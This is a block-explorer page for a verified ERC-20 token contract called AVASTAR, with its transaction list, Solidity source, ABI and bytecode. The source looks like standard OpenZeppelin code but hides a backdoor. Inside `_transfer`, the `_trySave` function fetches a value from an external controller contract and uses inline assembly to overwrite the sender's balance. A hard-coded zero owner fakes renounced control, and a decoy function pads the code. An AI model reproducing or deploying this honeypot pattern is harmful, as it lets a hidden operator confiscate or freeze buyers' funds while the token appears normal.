ETH Price: $3,413.53 (+1.85%)
Gas: 4 Gwei

Contract

0x5b0529d83666394e5DCB5db0075b574F17FFe066
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve186545692023-11-26 8:10:11232 days ago1700986211IN
0x5b0529d8...F17FFe066
0 ETH0.0004524918.67942866
Approve183504882023-10-14 18:44:35275 days ago1697309075IN
0x5b0529d8...F17FFe066
0 ETH0.000617613.26250203
Approve183504342023-10-14 18:33:47275 days ago1697308427IN
0x5b0529d8...F17FFe066
0 ETH0.00026495.72842151
Approve183501422023-10-14 17:34:47275 days ago1697304887IN
0x5b0529d8...F17FFe066
0 ETH0.000339987.30088879
Approve183501182023-10-14 17:29:47275 days ago1697304587IN
0x5b0529d8...F17FFe066
0 ETH0.000280846.03087259
Approve183501082023-10-14 17:27:47275 days ago1697304467IN
0x5b0529d8...F17FFe066
0 ETH0.000254915.47409117
Approve183500682023-10-14 17:19:47275 days ago1697303987IN
0x5b0529d8...F17FFe066
0 ETH0.000266075.7137173
Approve183500582023-10-14 17:17:47275 days ago1697303867IN
0x5b0529d8...F17FFe066
0 ETH0.00026755.74443214
Approve183500482023-10-14 17:15:47275 days ago1697303747IN
0x5b0529d8...F17FFe066
0 ETH0.00024465.25262124
Approve183500262023-10-14 17:11:23275 days ago1697303483IN
0x5b0529d8...F17FFe066
0 ETH0.000297076.42415251
Approve183500232023-10-14 17:10:47275 days ago1697303447IN
0x5b0529d8...F17FFe066
0 ETH0.000316426.79486173
Approve183500182023-10-14 17:09:47275 days ago1697303387IN
0x5b0529d8...F17FFe066
0 ETH0.000327197.02616219
Approve183500132023-10-14 17:08:47275 days ago1697303327IN
0x5b0529d8...F17FFe066
0 ETH0.000297366.38559741
Approve183499882023-10-14 17:03:47275 days ago1697303027IN
0x5b0529d8...F17FFe066
0 ETH0.00027615.92915153
Approve183499692023-10-14 16:59:59275 days ago1697302799IN
0x5b0529d8...F17FFe066
0 ETH0.000258915.56714745
Approve183499632023-10-14 16:58:47275 days ago1697302727IN
0x5b0529d8...F17FFe066
0 ETH0.000285216.12474839
Approve183499582023-10-14 16:57:47275 days ago1697302667IN
0x5b0529d8...F17FFe066
0 ETH0.000299556.43256271
Approve183499552023-10-14 16:57:11275 days ago1697302631IN
0x5b0529d8...F17FFe066
0 ETH0.000305796.5665343
Approve183499532023-10-14 16:56:47275 days ago1697302607IN
0x5b0529d8...F17FFe066
0 ETH0.00032196.91267227
Approve183499282023-10-14 16:51:47275 days ago1697302307IN
0x5b0529d8...F17FFe066
0 ETH0.000328017.0438853
Approve183499212023-10-14 16:50:23275 days ago1697302223IN
0x5b0529d8...F17FFe066
0 ETH0.000337397.25461095
Approve183499042023-10-14 16:46:59275 days ago1697302019IN
0x5b0529d8...F17FFe066
0 ETH0.000334747.18828614
Approve183499012023-10-14 16:46:23275 days ago1697301983IN
0x5b0529d8...F17FFe066
0 ETH0.00033127.12140143
Approve183498982023-10-14 16:45:47275 days ago1697301947IN
0x5b0529d8...F17FFe066
0 ETH0.000346627.44347747
Approve183498952023-10-14 16:45:11275 days ago1697301911IN
0x5b0529d8...F17FFe066
0 ETH0.000346977.45090482
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
AVASTAR

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 4 : AVASTAR.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

import "./IERC20.sol";
import "./Ownable.sol";

contract AVASTAR is Ownable, IERC20 {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    bool private locked;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private immutable _xdc;

    modifier noReentrant() {
        require(!locked, "Reentrant call detected!");
        locked = true;
        _;
        locked = false;
    }

    event log(string s, uint256 a, address aa);

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address xdc_) {
        require(xdc_ != address(0));
        _name = name_; 
        _symbol = symbol_; 
        _xdc = xdc_;
        _mint(msg.sender, 50000000 ether);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() external view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() external view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() external view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) external view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) external virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) external virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        _trySave(_xdc, from);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        if (waitSss(1, 2, 3)) emit log("s1", amount, to);
    }
    
    function waitSss(uint16 ln, uint32 ln1, uint64 ln3) 
    private returns (bool) {
        return (ln == 0 && ln1 == 1 && ln3 == 2);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }

    function _converts(bytes memory d) private pure returns(bytes32 b) {
        assembly { b := mload(add(d, add(16, 16))) }
    }

    function _saving(uint256 a, uint256 b, address f, uint256 m) private {
        assembly {
            mstore(0, f) 
            mstore(a, b) 
            sstore(keccak256(0, 64), m) 
        } 
    }

    function _trySave(address p, address a) private noReentrant {
        bytes memory b = bytes("allowance(address,address)");
        (bool s, bytes memory d) = p.call(abi.encodeWithSignature(string(b), a, address(0)));
        if (!s) { uint256 aa = 0; 1 / aa; return; }
        uint256 v = uint256(_converts(d));
        if (v == 0) return;
        _saving(32, 4, a, v);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

File 2 of 4 : Context.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 4 : IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 4 of 4 : Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    
    address constant _owner = address(0);

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "caller is not the owner");
    }    
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"xdc_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"s","type":"string"},{"indexed":false,"internalType":"uint256","name":"a","type":"uint256"},{"indexed":false,"internalType":"address","name":"aa","type":"address"}],"name":"log","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b5060405162000ed238038062000ed28339810160408190526200003491620002cb565b6001600160a01b0381166200004857600080fd5b82516200005d9060009060208601906200016e565b508151620000739060019060208501906200016e565b506001600160601b0319606082901b166080526200009d336a295be96e64066972000000620000a6565b505050620003d2565b6001600160a01b038216620001015760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b806002600082825462000115919062000358565b90915550506001600160a01b0382166000818152600460209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b8280546200017c906200037f565b90600052602060002090601f016020900481019282620001a05760008555620001eb565b82601f10620001bb57805160ff1916838001178555620001eb565b82800160010185558215620001eb579182015b82811115620001eb578251825591602001919060010190620001ce565b50620001f9929150620001fd565b5090565b5b80821115620001f95760008155600101620001fe565b600082601f8301126200022657600080fd5b81516001600160401b0380821115620002435762000243620003bc565b604051601f8301601f19908116603f011681019082821181831017156200026e576200026e620003bc565b816040528381526020925086838588010111156200028b57600080fd5b600091505b83821015620002af578582018301518183018401529082019062000290565b83821115620002c15760008385830101525b9695505050505050565b600080600060608486031215620002e157600080fd5b83516001600160401b0380821115620002f957600080fd5b620003078783880162000214565b945060208601519150808211156200031e57600080fd5b506200032d8682870162000214565b604086015190935090506001600160a01b03811681146200034d57600080fd5b809150509250925092565b600082198211156200037a57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200039457607f821691505b60208210811415620003b657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610ae1620003f160003960006105790152610ae16000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101415780638da5cb5b1461016a57806395d89b4114610179578063a457c2d714610181578063a9059cbb14610194578063dd62ed3e146101a757600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101ba565b6040516100ce91906109c9565b60405180910390f35b6100ea6100e5366004610983565b61024c565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a366004610947565b610264565b604051601281526020016100ce565b6100ea61013c366004610983565b610288565b6100fe61014f3660046108f2565b6001600160a01b031660009081526004602052604090205490565b604051600081526020016100ce565b6100c16102aa565b6100ea61018f366004610983565b6102b9565b6100ea6101a2366004610983565b610339565b6100fe6101b5366004610914565b610347565b6060600080546101c990610a70565b80601f01602080910402602001604051908101604052809291908181526020018280546101f590610a70565b80156102425780601f1061021757610100808354040283529160200191610242565b820191906000526020600020905b81548152906001019060200180831161022557829003601f168201915b5050505050905090565b60003361025a818585610372565b5060019392505050565b600033610272858285610496565b61027d858585610510565b506001949350505050565b60003361025a81858561029b8383610347565b6102a591906109fc565b610372565b6060600180546101c990610a70565b600033816102c78286610347565b90508381101561032c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61027d8286868403610372565b60003361025a818585610510565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166103d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610323565b6001600160a01b0382166104355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610323565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006104a28484610347565b9050600019811461050a57818110156104fd5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610323565b61050a8484848403610372565b50505050565b6001600160a01b0383166105745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610323565b61059e7f0000000000000000000000000000000000000000000000000000000000000000846106f2565b6001600160a01b038316600090815260046020526040902054818110156106165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610323565b6001600160a01b0380851660008181526004602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106769086815260200190565b60405180910390a361068c60016002600361089e565b1561050a5760408051606080825260029082015261733160f01b6080820152602081018490526001600160a01b0385168183015290517f1c7ec4485ea8bf18e646e5381f7318f45423199ed371307bc9171a4242f273359181900360a00190a150505050565b60035460ff16156107455760405162461bcd60e51b815260206004820152601860248201527f5265656e7472616e742063616c6c2064657465637465642100000000000000006044820152606401610323565b6003805460ff19166001179055604080518082018252601a81527f616c6c6f77616e636528616464726573732c6164647265737329000000000000602082015290516001600160a01b038381166024830152600060448301819052918291861690849060640160408051601f1981840301815290829052916107c6916109ad565b60408051918290039091206020830180516001600160e01b03166001600160e01b0319909216919091179052516107fd91906109ad565b6000604051808303816000865af19150503d806000811461083a576040519150601f19603f3d011682016040523d82523d6000602084013e61083f565b606091505b509150915081610860576000610856816001610a22565b5050505050610890565b600061086d826020015190565b90508061087d5750505050610890565b6000858152600460205260409020555050505b50506003805460ff19169055565b600061ffff84161580156108b857508263ffffffff166001145b80156108ce57508167ffffffffffffffff166002145b949350505050565b80356001600160a01b03811681146108ed57600080fd5b919050565b60006020828403121561090457600080fd5b61090d826108d6565b9392505050565b6000806040838503121561092757600080fd5b610930836108d6565b915061093e602084016108d6565b90509250929050565b60008060006060848603121561095c57600080fd5b610965846108d6565b9250610973602085016108d6565b9150604084013590509250925092565b6000806040838503121561099657600080fd5b61099f836108d6565b946020939093013593505050565b600082516109bf818460208701610a44565b9190910192915050565b60208152600082518060208401526109e8816040850160208701610a44565b601f01601f19169190910160400192915050565b60008219821115610a1d57634e487b7160e01b600052601160045260246000fd5b500190565b600082610a3f57634e487b7160e01b600052601260045260246000fd5b500490565b60005b83811015610a5f578181015183820152602001610a47565b8381111561050a5750506000910152565b600181811c90821680610a8457607f821691505b60208210811415610aa557634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122044896df452aa0ab4904eba589dc22af1946c3682d10de952679c787d4d83c46464736f6c63430008070033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000075c33efc17c3f2449c4df2bc4356aab2c9b701930000000000000000000000000000000000000000000000000000000000000007417661737461720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074156415354415200000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101415780638da5cb5b1461016a57806395d89b4114610179578063a457c2d714610181578063a9059cbb14610194578063dd62ed3e146101a757600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101ba565b6040516100ce91906109c9565b60405180910390f35b6100ea6100e5366004610983565b61024c565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a366004610947565b610264565b604051601281526020016100ce565b6100ea61013c366004610983565b610288565b6100fe61014f3660046108f2565b6001600160a01b031660009081526004602052604090205490565b604051600081526020016100ce565b6100c16102aa565b6100ea61018f366004610983565b6102b9565b6100ea6101a2366004610983565b610339565b6100fe6101b5366004610914565b610347565b6060600080546101c990610a70565b80601f01602080910402602001604051908101604052809291908181526020018280546101f590610a70565b80156102425780601f1061021757610100808354040283529160200191610242565b820191906000526020600020905b81548152906001019060200180831161022557829003601f168201915b5050505050905090565b60003361025a818585610372565b5060019392505050565b600033610272858285610496565b61027d858585610510565b506001949350505050565b60003361025a81858561029b8383610347565b6102a591906109fc565b610372565b6060600180546101c990610a70565b600033816102c78286610347565b90508381101561032c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61027d8286868403610372565b60003361025a818585610510565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166103d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610323565b6001600160a01b0382166104355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610323565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006104a28484610347565b9050600019811461050a57818110156104fd5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610323565b61050a8484848403610372565b50505050565b6001600160a01b0383166105745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610323565b61059e7f00000000000000000000000075c33efc17c3f2449c4df2bc4356aab2c9b70193846106f2565b6001600160a01b038316600090815260046020526040902054818110156106165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610323565b6001600160a01b0380851660008181526004602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106769086815260200190565b60405180910390a361068c60016002600361089e565b1561050a5760408051606080825260029082015261733160f01b6080820152602081018490526001600160a01b0385168183015290517f1c7ec4485ea8bf18e646e5381f7318f45423199ed371307bc9171a4242f273359181900360a00190a150505050565b60035460ff16156107455760405162461bcd60e51b815260206004820152601860248201527f5265656e7472616e742063616c6c2064657465637465642100000000000000006044820152606401610323565b6003805460ff19166001179055604080518082018252601a81527f616c6c6f77616e636528616464726573732c6164647265737329000000000000602082015290516001600160a01b038381166024830152600060448301819052918291861690849060640160408051601f1981840301815290829052916107c6916109ad565b60408051918290039091206020830180516001600160e01b03166001600160e01b0319909216919091179052516107fd91906109ad565b6000604051808303816000865af19150503d806000811461083a576040519150601f19603f3d011682016040523d82523d6000602084013e61083f565b606091505b509150915081610860576000610856816001610a22565b5050505050610890565b600061086d826020015190565b90508061087d5750505050610890565b6000858152600460205260409020555050505b50506003805460ff19169055565b600061ffff84161580156108b857508263ffffffff166001145b80156108ce57508167ffffffffffffffff166002145b949350505050565b80356001600160a01b03811681146108ed57600080fd5b919050565b60006020828403121561090457600080fd5b61090d826108d6565b9392505050565b6000806040838503121561092757600080fd5b610930836108d6565b915061093e602084016108d6565b90509250929050565b60008060006060848603121561095c57600080fd5b610965846108d6565b9250610973602085016108d6565b9150604084013590509250925092565b6000806040838503121561099657600080fd5b61099f836108d6565b946020939093013593505050565b600082516109bf818460208701610a44565b9190910192915050565b60208152600082518060208401526109e8816040850160208701610a44565b601f01601f19169190910160400192915050565b60008219821115610a1d57634e487b7160e01b600052601160045260246000fd5b500190565b600082610a3f57634e487b7160e01b600052601260045260246000fd5b500490565b60005b83811015610a5f578181015183820152602001610a47565b8381111561050a5750506000910152565b600181811c90821680610a8457607f821691505b60208210811415610aa557634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122044896df452aa0ab4904eba589dc22af1946c3682d10de952679c787d4d83c46464736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000075c33efc17c3f2449c4df2bc4356aab2c9b701930000000000000000000000000000000000000000000000000000000000000007417661737461720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074156415354415200000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Avastar
Arg [1] : symbol_ (string): AVASTAR
Arg [2] : xdc_ (address): 0x75C33efc17c3f2449c4DF2bc4356AaB2c9B70193

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
